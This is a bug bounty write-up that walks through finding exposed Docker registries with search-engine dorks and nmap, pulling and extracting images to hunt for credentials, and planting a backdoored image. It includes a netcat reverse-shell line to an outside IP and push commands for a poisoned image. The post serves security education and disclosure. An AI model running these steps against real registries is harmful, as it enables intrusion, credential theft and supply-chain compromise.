Sitemap
InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Hacking Open Docker Registries: Pulling, Extracting, and Exploiting Images.

6 min readMar 19, 2025

--

Discovering secrets in exposed container images and leveraging misconfigurations for deeper access

Press enter or click to view image in full size
Image Credit: https://www.scylladb.com

DDocker simplifies app deployment with portable containers, but misconfigured registries can expose private images containing hardcoded credentials, API keys, and misconfigured services — posing serious security risks.

I recently discovered an open Docker registry in a private, invite-only bug bounty program for a major US-based retailer. This critical issue granted access to their production and UAT panels with super-user privileges, exposing multiple internal applications. In this article, I explain how I found and exploited this vulnerability and I will walk through the step-by-step process of discovering, extracting, and analyzing open Docker registries.

Additionally, we will explore how an attacker could exploit these registries by injecting a backdoored image — if the registry permits anonymous image uploads — to achieve RCE.

⚠️ Disclaimer: This guide is for educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization and follow responsible disclosure practices.

Step 1: Finding Open Docker Registries

Misconfigured Docker registries are often exposed to the internet without authentication. There are a few ways to find them.

Method 1: Using FOFA, Shodan or Google Dorks

Deep Search engines like FOFA and Shodan can reveal public Docker registries.

To search on FOFA, use:

"docker registry http api" && port="5000"

On Shodan, a similar query would be:

"Docker-Distribution-Api-Version" "HTTP/1.1 200 OK"

To find open Docker registries using Google Dorks, you can use the following queries:

Searching for Exposed Docker Registry APIs:

intitle:"Docker Registry" inurl:/v2/ -github

This searches for open Docker registries that expose their v2 API endpoints.

Searching for Publicly Indexed Docker Registries:

inurl:"v2/_catalog" -github

Above dork looks for Docker registries listing available repositories through the _catalog endpoint.

Finding Open Docker Registry APIs with Ports:

This finds Docker registries running on port 5000, which is the default for private registries.

Searching for Misconfigured Docker Registries with Anonymous Access:

"200 OK" inurl:5000/v2/_catalog

This looks for exposed registries that return a successful HTTP 200 response, meaning they might allow anonymous access.

Checking for Open Docker Registries with Login Disabled:

inurl:5000 "Docker-Distribution-API-Version: registry/2.0"

This identifies Docker registries that expose their API version, often indicating a misconfigured setup. These searches will return a list of IP addresses hosting exposed Docker registries.

Unsecured Docker API (HTTP, Port 2375)

inurl:"2375/version" "docker"

Open Docker Private Registries (Port 5000)

inurl:"5000/v2/_catalog"

Open Kubernetes API Server (Port 6443)

inurl:"6443" intitle:"Kubernetes"

Open Portainer Web UI (Port 9000)

intitle:"Portainer" inurl:"9000"

Exposed Docker Swarm Nodes (Port 2377)

inurl:"2377" "Docker Swarm"

Common Docker Ports:

Docker services can be found running on several common ports, depending on the configuration and exposure of the registry, API, and daemon. Here are the most frequently used ports:

Press enter or click to view image in full size

Method 2: Scanning with Nmap

Nmap can be used to scan for Docker Registry APIs running on common ports.

nmap -p 2375,2376,5000,7946,4789,8080,9090,6443,58000 --script http-title,http-headers 1.2.3.4
  • Port 2375 → Docker API without TLS
  • Port 2376 → Docker API with TLS
  • Port 5000 → Default Docker Registry
  • Port 58000 → Custom Registry Ports

If a registry is publicly accessible, it can be queried to see what repositories it contains.

Press enter or click to view image in full size
Quering Docker Ports Using Namp

Step 2: Enumerating Docker Repositories

Once an open Docker registry has been found, the next step is to list the available repositories. This can be done using the following command:

curl -X GET http://<target-ip>:58000/v2/_catalog

Note: Change PORT accordingly

Get nav1n👨🏻‍💻⚠️’s stories in your inbox

Join Medium for free to get updates from this writer.

If the registry is not protected, the response will return a list of container images. In my case I found the following:

{
"repositories":[
"arm64v8/nextcloud",
"library/a****",
"library/*****",
"library/mysql"
]
}

Above listed repositories contain containerized applications, and the next step is to check what versions (tags) are available.

Tags are: Each container image has multiple versions, which are referred as tags. To find available tags for a specific repository, use:

curl -X GET http://<target-ip>:58000/v2/library/mysql/tags/list

A successful response might return something like this:

{
"name": "library/mysql",
"tags": ["5.7.44", "8.0.40", "latest"]
}

If valid tags exist, we can proceed to downloading the image.

Press enter or click to view image in full size

Step 4: Pulling the Docker Image

Once an open registry has been found with a list of available repositories and tags, the next step is to pull an image from the registry.

docker pull --tls-verify=false <target-ip>:58000/library/mysql:latest

or

podman pull --tls-verify=false <target-ip>:58000/library/mysql:latest

This will download the entire MySQL container image from the registry to the local machine.

Press enter or click to view image in full size

Note: Podman stores container images in overlay storage under the default storage location, which depends on the operating system and configuration.

Default Storage Paths for Podman Images:

Root User (Default)/var/lib/containers/storage/overlay/

Non-root User$HOME/.local/share/containers/storage/overlay/

Step 5: Extracting and Analyzing the Image for Sensitive Information

As I said ealier, docker images often contain configuration files, stored credentials, and other sensitive data that attackers can use.

Extracting the Image

Once the image is downloaded, it needs to be saved and extracted for analysis.

docker save -o mysql.tar <target-ip>:58000/library/mysql:latest
Press enter or click to view image in full size

Extract the contents:

mkdir extracted && tar -xf mysql.tar -C extracted

The above commnd creates a folder “extracted” and extracts the content of mysql.tar in to it. The next step is to look for sensitive data.

Hunting for Credentials

Search for passwords, API keys, or authentication tokens inside the extracted files:

grep -r "password" extracted
grep -r "api_key" extracted
grep -r "root" extracted

In my case I found multiple credentials and API keys as shown in below screenshot:

Press enter or click to view image in full size

Common places where credentials might be stored:

  • Configuration files (.env, config.json, my.cnf)
  • MySQL root credentials (/root/.my.cnf)
  • Application environment variables (/etc/profile.d/)

Find the MySQL Configuration File (my.cnf)

find extracted -name "my.cnf"

Some settings that indicate weak security:

  • bind-address = 0.0.0.0 → MySQL is listening on all interfaces, allowing remote connections.
  • skip-grant-tables → Disables authentication, allowing anyone to log in as root.
  • root credentials stored in .my.cnf → Might contain plaintext passwords.
Press enter or click to view image in full size

Checking for MySQL Dumps

Some images contain database backups in .sql format.

find extracted -name "*.sql"

Extract user credentials from database dumps:

cat extracted/var/lib/mysql/mysql.sql | grep "INSERT INTO users"

If usernames and hashed passwords are stored in the database, they can be cracked using hashcat or john.

If the registry allows anonymous pushing, an attacker could replace an image with a modified version that contains a backdoor.

Check If Pushing is Allowed

docker login --tls-verify=false <target-ip>:58000

If the login succeeds, attacker can modify an image and upload it back.

I stopped at this point. The “Login Success” message indicates that the Docker registry allows anonymous login, enabling me to run a reverse shell.

Modify MySQL Startup Script

Inject a reverse shell:

echo 'nc -e /bin/bash 1.2.3.4 5555' >> /usr/local/bin/mysql-entrypoint.sh

Then, re-tag and push the modified image:

docker tag mysql-backdoor <target-ip>:58000/library/mysql:backdoored
docker push <target-ip>:58000/library/mysql:backdoored

If an rootuser/admin pulls and runs the backdoored image, the attacker gains remote access.

Misconfigured Docker registries are a significant security risk. Attackers can pull sensitive container images, extract credentials, and even push backdoored images if the registry allows anonymous uploads.

How to Protect Against This?

  • Disable anonymous access to registries
  • Require authentication (docker login)
  • Restrict access to ports (5000, 58000)
  • Use secure configurations (HTTPS instead of HTTP)

Thank you for reading

--

--

InfoSec Write-ups
InfoSec Write-ups

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/